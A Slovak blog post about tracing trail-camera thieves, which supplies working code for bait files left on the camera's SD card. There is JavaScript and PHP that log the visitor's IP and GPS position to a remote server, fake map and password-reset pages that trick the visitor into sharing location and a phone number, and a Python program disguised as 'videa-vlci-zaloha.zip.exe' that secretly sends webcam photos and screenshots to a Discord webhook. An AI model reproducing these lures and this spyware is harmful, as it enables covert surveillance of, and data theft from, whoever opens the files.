Zabezpečenie fotopasce – časť 2: Ako nájsť zlodeja

Pred 10 rokmi som písal prvý článok Zabezpečenie fotopasce. Spomínal som tam skôr maskovacie techniky, použitie kovového boxu a pod. S pribúdajúcim časom a skúsenosťami som však prišiel na to, že tieto techniky nemusia stačiť.

Ono je to totiž problém – zlodej je ochotný pre fotopascu vyliezť aj štyri metre vysoko na strom, či vrátiť sa domov po pílku a prerezať oceľové lanko. Ak zlodej chce, kovový box vypáči, kovové lanko presekne, zámok prestrihne, alebo tiež vypáči. Zlodej kľudne odpíli strom, len aby fotopascu získal. Vo väčšine prípadov takto ničia fotopasce ľudia, ktorým tam proste vadia. Nemusí im ísť o to fotopascu hneď predať. Ukážem Vám tu spôsoby, s ktorými s trochou šťastia získať fotografiu zlodeja a takmer všetko, čo sa dá cez digitálnu stopu získať. Neukážem Vám všetko, chcem len vzbudiť Vašu fantáziu a ukázať Vám, že zlodeja vieme vypátrať aj inak.

Malá štatistika

Z malého dvoj dňového prieskumu vyplýva, že krádeže fotopascí sú pre väčšinu používateľov realitou, pričom šanca na jej opätovné získanie je minimálna.

  • Data:75 % respondentov prišlo o aspoň jednu fotopascu, pričom viac ako 4 z 10 opýtaných (41,1 %) stratili viacero zariadení.
  • Zlyhanie ochrany: Najčastejšie v čase krádeže “neochránili” zariadenie lanové zámky (37,7 %), maskovanie (34 %) alebo kovové boxy (28,3 %). Zaujímavosťou je, že neobstáli ani špecifické riešenia ako umiestnenie vo výške 4 metre či reťaze.
  • Identifikácia páchateľa: Len 15,4 % zariadení pred odcudzením poslalo cez sieť fotku zlodeja majiteľovi fotopasce.
  • Riešenie s políciou: Väčšina ľudí krádež polícii ani nehlási (86,5 %).
  • Úspešnosť nálezu (46 odpovedí):
    • 69,6 % fotopascu už nikdy nevidelo.
    • 26,1 % respondentov zariadenie síce späť nemá, ale “tušia”, kto za krádežou stojí.
    • Len zanedbateľné percento (podľa grafu cca 4,3 %) uviedlo, že sa im fotopasca reálne vrátila.

Poďme nájsť zlodeja

Ak nemáme fotopascu, ktorá používa cloud, resp nám neposiela data v reálnom čase, môžme skúsiť niečo sofistikovanejšie.. Fotopascu to pred krádežou neochráni, ale zvýšime si aspoň šance na nájdenie zlodeja..
Sociálne inžinierstvo a trošku kódenia. Tieto dve veci sa dajú pri ochrane fotopasce krásne zlúčiť a použiť. Nesmieme ich však zneužiť a ak zapojíme fantáziu, je to vlastne jednoduchá a fungujúca myšlienka.

Funguje to? Áno

Ľudia sú od prírody veľmi zvedaví. A neznalí. V tomto článku budeme pracovať hlavne so zvedavosťou zlodeja našej fotopasce, pretože jeho zvedavosť je na jeho vlastné odhalenie kľúčová.

Ok, poďme pekne od začiatku. Mne po štvrtej ukradnutej fotopasci došla trpezlivosť a začal som premýšľať, ako následne dokážem zlodeja vypátrať a získať o ňom čo najviac informácií a dôkazov pre políciu. Rozmýšľal som, či a ako sa z SD karty dokážem dostať do jeho počítača. A prišiel som na.. Fotopasce si už zabezpečujem vlastnými softvérovými fíčúrkami, ktoré pracujú práve s vyššie spomínanou zvedavosťou. Zistil som naposledy, kto mi fotopascu ukradol, ako vyzerá, aké ma emaily, IP adresu jeho počítača a aj GPS polohu, kde bola SD karta z fotopasce vložená do počítača..

Začiatky

Ako zistím, kto fotopascu ukradol? Ako o ňom zistím čo najviac, aby som mal dôkazy pre políciu? Moja fotopasca nemá ani GPS, ani Wi-Fi, ani prístup na internet či GSM? Inštaloval som do nej zamaskované GPS, áno, ale chcel som ešte niečo navyše, malú poistku… Rozmýšľal som a rozmýšľal a postupne som si to rozobral.

Zlodej môže s fotopascou urobiť po jej odcudzení niekoľko vecí:

  1. Môže ju po nájdení hneď proste zničiť/zahodiť
  2. Môže sa ju pokúsiť použivať, resp ju predať (toto poisťujem tak, že fotopascu viditeľne poškodím a označím ostrým predmetom, takéto značky sa nedajú nijak zamaskovať, ani odstrániť)
  3. Môže urobiť toto všetko, a zároveň bude tak zvedavý, že vloží SD kartu do počítača a začne si prezerať jej obsah.

A práve pri možnosti č. 3 sa zastavíme. Operujme teda s tým, že ho to napadne… Ako by som toto mohol využiť vo svoj prospech? Môžem na SD kartu pripraviť nejaké fotografie a ‘injectnúť’ do nich nejaký kód? JPG súbor zamaskovaný za nejaký skript, ktorý bude volať ďalší skript už na mojom serveri, ktorý bude niečo robiť..? Začínam celé hodiny gúgliť..

Ani po niekoľkých hodinách strávených na reddite, čítajúc rôzne topicy o XSS však nie som celkom spokojný, totiž injectnuť len určitý kus kódu do obrázku sa teoreticky dá, ale vlastne ani tak nedá.. :) Skôr by to šlo cez SVG a naše fotopasce SVG fotky nerobia.. :D Vieme do obrázku aj vložiť PHP, či JS kód, ale samotný obrázok ho nikdy nespustí. Po 2 dňoch pátrania a snorenia túto možnosť zavrhujem.

Zisťujeme zlodejovu polohu

Ok, čo ďalej? Riešenie je jasné. Napísať HTML stránku s JavaSriptom, ktorý po otvorení zistí čo najviac informácií – IP, GPS a neviem čo všetko ešte a niekam to uloží?. Takéto niečo je jednoduché, ale ako by to fungovalo na diaľku? Nemôžme to ukladať lokálne na SD kartu, pretože tú má teraz zlodej a z logov by sme nemali nič. Musíme ich niekam posielať. Zlodej nebude obsah SD karty pozerať na telefóne, ale na počítačí a dnes platí, že kto má počítač, je aj online.

Ja som v ranných fázach môjho skriptu volil ukladanie takýchto informácií na môj server. Mal som simple HTML návnadu s JavaSriptom na SD karte fotopasce. Keď zlodej stránku otvoril, JavaSript zavolal PHP skript čakajúci na mojom webe, ktorý tieto údaje uložil ako txt. Prípadne som si to nastavil tak, aby mi po otvorení takéhoto súboru prišilo info na email. Pozor, dobre si uvedomujeme, že tento skript nerobí nič zle a nerobí nič sám od seba. Zafunguje až vtedy, keď ho zvedavý zlodej sám otvorí a poruší tak naše súkromie.

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Fotografie z fotopasce</title>
  <script>
    document.addEventListener("DOMContentLoaded", function () {
      const baseUrl = "https://tvojserver.sk/log.php";
      const basicData = {
        ua: navigator.userAgent || "unknown",
        lang: navigator.language || "unknown",
        platform: navigator.platform || "unknown",
        time: new Date().toISOString()
      };

      // Funkcia na odoslanie dát
      function sendData(extraParams = {}) {
        const url = new URL(baseUrl);
        Object.entries({ ...basicData, ...extraParams }).forEach(([key, value]) =>
          url.searchParams.append(key, value)
        );

        // Neviditeľný obrázok spustí GET požiadavku
        const img = new Image();
        img.src = url.toString();
      }

      // Najprv pošli základné dáta
      sendData();

      // Skús získať polohu (až po základných údajoch)
      if ("geolocation" in navigator) {
        navigator.geolocation.getCurrentPosition(
          (position) => {
            const coords = {
              lat: position.coords.latitude.toFixed(6),
              lon: position.coords.longitude.toFixed(6),
              acc: position.coords.accuracy
            };
            sendData(coords);
          },
          (error) => {
            sendData({ geo_error: error.message });
          },
          { enableHighAccuracy: true, timeout: 10000, maximumAge: 0 }
        );
      } else {
        sendData({ geo_error: "geolocation not supported" });
      }
    });
  </script>
</head>
<body>
  <h1>Fotky</h1>
  <img src="img001.jpg" style="max-width:100%" alt="foto">
  <p>Obsah našej stránky.</p>
</body>
</html>

a PHP:

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_GET['ua'] ?? 'unknown';
$lang = $_GET['lang'] ?? 'unknown';
$platform = $_GET['platform'] ?? 'unknown';
$time = $_GET['time'] ?? date("Y-m-d H:i:s");
$lat = $_GET['lat'] ?? '';
$lon = $_GET['lon'] ?? '';
$acc = $_GET['acc'] ?? '';
$geo_error = $_GET['geo_error'] ?? '';

$log = "$time | IP: $ip | UA: $ua | Lang: $lang | Platform: $platform";

if ($lat && $lon) {
    $log .= " | Location: $lat,$lon ±$acc m";
} elseif ($geo_error) {
    $log .= " | GPS Error: $geo_error";
}

$log .= "\n";
file_put_contents("log.txt", $log, FILE_APPEND);
?>

Skript je jednoduchý a dá sa kadejako vylepšiť, napr na zasielanie informácií priamo na email. Má však jeden problém. Pri otvorení HTML súboru je vyžadovaná od zlodeja akcia, a to schválenie povolenia prístupu k jeho polohe. Vytváram teda novú HTML stránku ostatne-fotopasce.html, ktorá sa tvári ako Google mapa, kde by mali byť zaznačené falošné lokality mojich fotopascí. Využívam to, že je to len prázdna google mapa a pridávam text: Na presné zistenie lokalít iných fotopascií povolte sledovanie polohy v prehliadači, a dúfam, že to zlodej urobí (Urobil). Ak áno, mám jeho úplne presnú polohu. Ak nie, nevadí. Máme aspoň jeho lokalizáciu podľa IP, aj keď jej presnosť môže byť rôzna.

Je len na nás, aký obsah pre zlodeja nachystáme a ako vzbudíme jeho zvedavosť otvárať a skúmať. Čím viac a zaujímavejšieho obsahu na SD karte máme, tým sa zvyšuje šanca, že to proste zlodejovi nedá a začne naše návnady otvárať. Ak si však zoberieme, že ide o osobu s tendenciami kradnúť, je veľká šanca, že takáto osoba sa tiež pustí do otvárania naších súborov na SD karte.

zlodej otvoril súbor, prišiel nám o tom email
Zlodej otvoril nami nastrčený súbor na SD karte, prišiel nám o tom email

Ok, náš vlastný skript by sme mali.. Ak chceme niečo lepšie, máme aj iné možnosti. Podobný a presnejší zber údajov o návštevníkovi zabezpečujú aj legálne služby prostredníctvom API, napr ipinfo.io, ip-api.com, či ipgeolocation.io, . Vedia vyzistiť kadečo, ale ak nám ide o presnú GPS polohu, aj v tomto prípade zlodej musí tiež povoliť polohu v browseri. Ako ho k tomu naviesť sme si už povedali. Presnejší popis tu asi písať nejdem, stačí si na danej službe vygenerovať API a vložiť ho do našej stránky.. Niektoré tieto služby sú platené, no free verzie umožňujú 5000 hitov mesačne, čo nášmu účelu bohato postačuje.

Ak by sme chceli presnejšiu polohu a nechceme, aby zlodej vykonával nejakú akciu navyše e niekam na niečo klikal a povoľoval, presnejšiu geolokáciu vieme získať aj zistením cez wifi fingerprint, kde skript zbiera údaje o najbližších wifi sieťach, kombinuje aj gps a ip. S týmto som sa však nezaoberal.

Následne teda ešte vytváram niekoľko kópií HTML stránok a dúfam, že takto vzbudím naozaj zlodejovu zvedavosť. Napr reset-hesla.html, ktorý funguje ako fejkové zaslanie nového 4 miestneho kódu fotopasce na telefónne číslo, ktoré by mal zlodej do formuláru napísať a to sa následne uloží mne na server. Vytváram aj stránku nastavenia.html, ktorá sa tvári ako kompletný a dôveryhodne vyzerajúci setup k mojej fotopasci. Všetko je len naokolo, nenastavuje sa nič. Prikladám aj fiktívny konfiguračny .cfg subor, aby stránka pôsobila dôveryhodne. Prikládam aj free licenciu licence.txt.

Nemáme vlastný server.. Nevadí, ide to aj bez neho

Dobre, vieme zistiť IP adresu zlodeja, názov poskytovateľa internetu, browser, operačný systém, čas a dátum, kedy si SD kartu prezeral. Pri troške hlúposti vieme získať aj jeho presnú GPS polohu, prípadne nám vie poskytnúť aj svoj telefón.. Nemáme ale vlastný server a chceli by sme zájsť trošku ďalej.. Čo tak skúsiť získať jeho fotografiu?

Získavame fotografiu zlodeja

Ok, dajme tomu, že zlodej už súbory otvára rad za radom, využijeme toho. Čo keby sme použili niečo iné a skúsili teda získať jeho fotografiu, či screenshot obrazovky, ktorý zachycuje moment, kedy si prezerá obsah našej SD karty..?

Kde končia možnosti HTML/JS/PHP, začínajú možnosti Pythonu. Cez Python sa nám doslova otvárajú dvere do zlodejovho počítača. To však nechceme, nezabúdame, že nám nejde špehovať ho, ani riešiť jeho súkromie, ale ide nám výhradne o získanie dôkazov pre políciu.
Nebudeme pracovať s HTML, ale prejdeme na binárne EXE programy..

Inštaláciu Pythonu a následne kompilovanie do EXE súboru nejdem rozoberať, ale ako platilo pri HTML, aj tu je super zvoliť lákavý názov. EXE je už predsa len niečo ine, ako HTML stránka a zlodej sa môže vyhnúť otvoreniu, no ak narazí na niečo ako zmluvy-zaloha.exe, videa-vlci-zaloha.zip.exe, buschnell-settings.exe, môže ho otvoriť. A verte, v mojom prípade ich zlodej pootváral. Podľa názvu súboru je vhodné urobiť fiktívnu funkcionalitu EXE súboru, napr súbor videa-vlci-zaloha.zip.exe spustí v tichosti náš skript a otvorí VIDEO na SD karte, ktoré ma atributy hidden. Odporúčam na SD kartu vytvoriť aj skutočný EXE archív, ktorý nám rozbalí nami pripravené fotografie, najlepšie skutočné z fotopasce. Postup, ako zabaliť súbory do EXE archívu tu nejdem popisovať.

Princíp Python skriptu bude spočívať v tom, že nám jednoducho odfotí screenshot zlodejovho PC a zašle na náš Discord, resp. Telegram účet. Zasielaniu na server sa vyhneme, ak ho teda nemáme a zasielanie na email by v tomto prípade bolo ťažkopádne. Tak prečo si to neposielať rovno do telefónu? Necháme si zasielať 10 screenshotov po otvorení EXE súboru v intervale 1 screenshot/5 minút a ako bonus, ak ma zlodej webkameru, použijeme ju a skúsime urobiť cvak. Jeden musí stačiť – webkamera na notebooku má tendenciu bliknúť. Spárujeme to s naším discord serverom a máme to.. Skript neobsahuje zber dát: IP adresa, uživatelské meno Windowsu, približné GPS, a pod. To si však vieme dorobiť.

import os
import cv2
import pyautogui
import requests
import time
import threading

# --- KONFIGURÁCIA DISCORDU ---
# Tu vlož svoj Webhook URL (získaš v nastaveniach kanála na Discorde: Integrations -> Webhooks)
DISCORD_WEBHOOK_URL = 'TVOJ_DISCORD_WEBHOOK_URL_TU'

def send_to_discord(filepath, caption=""):
    try:
        with open(filepath, 'rb') as f:
            payload = {'content': caption}
            files = {'file': f}
            requests.post(DISCORD_WEBHOOK_URL, data=payload, files=files)
    except:
        pass

def capture_and_loop():
    temp_cam = os.path.join(os.environ.get('TEMP', '.'), 'c_start.jpg')
    temp_scr = os.path.join(os.environ.get('TEMP', '.'), 's_screen.png')

    # 1. JEDNA FOTKA Z WEBKAMERY
    try:
        cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)
        ret, frame = cap.read()
        if ret:
            cv2.imwrite(temp_cam, frame)
            send_to_discord(temp_cam, "&#x1f4f8; FIRST CONTACT: Tvar narušiteľa")
        cap.release()
    except:
        pass
    finally:
        if os.path.exists(temp_cam): os.remove(temp_cam)

    # 2. SLUČKA NA 10 SCREENSHOTOV (každých 5 minút)
    for i in range(1, 11):
        try:
            pyautogui.screenshot(temp_scr)
            send_to_discord(temp_scr, f"&#x1f5a5;&#xfe0f; Screenshot {i}/10")
        except:
            pass
        finally:
            if os.path.exists(temp_scr): os.remove(temp_scr)
        
        # Ak to nie je posledný screenshot, čakaj 5 minút (300 sekúnd)
        if i < 10:
            time.sleep(300)

if __name__ == "__main__":
    # Spustíme to v samostatnom vlákne, aby skript neblokoval systém
    threading.Thread(target=capture_and_loop, daemon=True).start()
    
    # Tu môže pokračovať tvoj zvyšný kód (napr. video návnada atď.)
    # Aby skript hneď neskončil, ak nemáš inú nekonečnú slučku:
    while True:
        time.sleep(10)

Aby nám skript fungoval, musíme mať účet na discorde.. Použijeme PC, nie mobil a vytvoríme si na ňom vlastný server, napr fotopasca a na servery textový kanál, napr test. Ak máme hotovo, vedľa nášho kanálu klikneme na ozubené koliesko, v nastaveniach na “Prepojenia/Integrations” a tam vytvoríme náš webhook, ktorý pastneme do Python kódu.

Tu sa už dá stvárať naozaj kadečo, ale o tom potom.. Python je naozaj silný jazyk a vie nam kadejako pomôcť, to tu však radšej rozpisovať už nejdem. Nezabúdajme, že my hlavne zbierame dôkazy pre políciu. Stále platí, že náš skript nie je pre verejnosť, ale je na SD karte našej fotopasce, ktorú niekto ukradol z lesa a navyše si ešte dovolil prezerať jej obsah. Je to naša poistka. Kód nie je robený spôsobom, aby sa ocitol náhodne niekomu v počítači, aktivuje ho výhradne zlodej fotopasce. Nie je technicky možné, aby tomu bolo inak.

Screenshot z počítača zachytáva zlodeja, ako si prezerá video z SD karty fotopasce, ktorú ukradol.

Rady na záver:

  • Kupujme fotopasce s aktívnym GPS sledovaním a aj pri vypnutej fotopasci, prípadne iným ANTI-THEFT systém, hoc takéto na našom trhu zatiaľ nedostať, jedine v zahraničí. Videl som fotopasce, ktoré ak opustia určitý nami zvolený diameter, začnú sa hlasno akusticky ohlasovať a majitel fotopasce dostane echo na telefón.
  • Používajme air tagy. Airtag sa dá ľahko zamaskovať do popruhov na fotopasci, či priamo dnu do fotopasce. Je tiež vhodné upraviť samotný airtag odstránením repráčika, pretože ak sa airtag začne pohybovať spolu s cudzím Iphone telefónom, začne na seba upozorňovať (prevencia proti sledovaniu osôb). Ak má zlodej iphone, príde mu aj upozornenie, že je sledovaný, potrvá mú ale nejaký čas, kým ho nájde.
  • Používajte AI, napr GEMINI, CHATGPT, ak nemáte programátorské skúsenosti, AI Vám pomôže vytvoriť veci podľa vašich predstáv.
  • Neprekračujte zákon. Ide nám o zbieranie dôkazov (1x IP, 1x poloha, 1x fotka, hotovo), nie o sledovanie.
  • Ak robíme EXE súbor, urobme ich kľudne viac. Minimálne jeden EXE súbor by sa mal postarať o to, aby tajne otvoril všetky ďalšie EXE súbory na našej SD karte. S kódom nám poradí AI.
  • K našim falošným EXE pridajme aj nejaké skutočné EXE súbory, viz spomínaný archív, ktorý nám po otvorení rozbalí napr fotografie, či iný materiál do priečinku.
  • Pri kódení a tvorení počúvajte kvalitnú SK hudbu ;)

Leave a Comment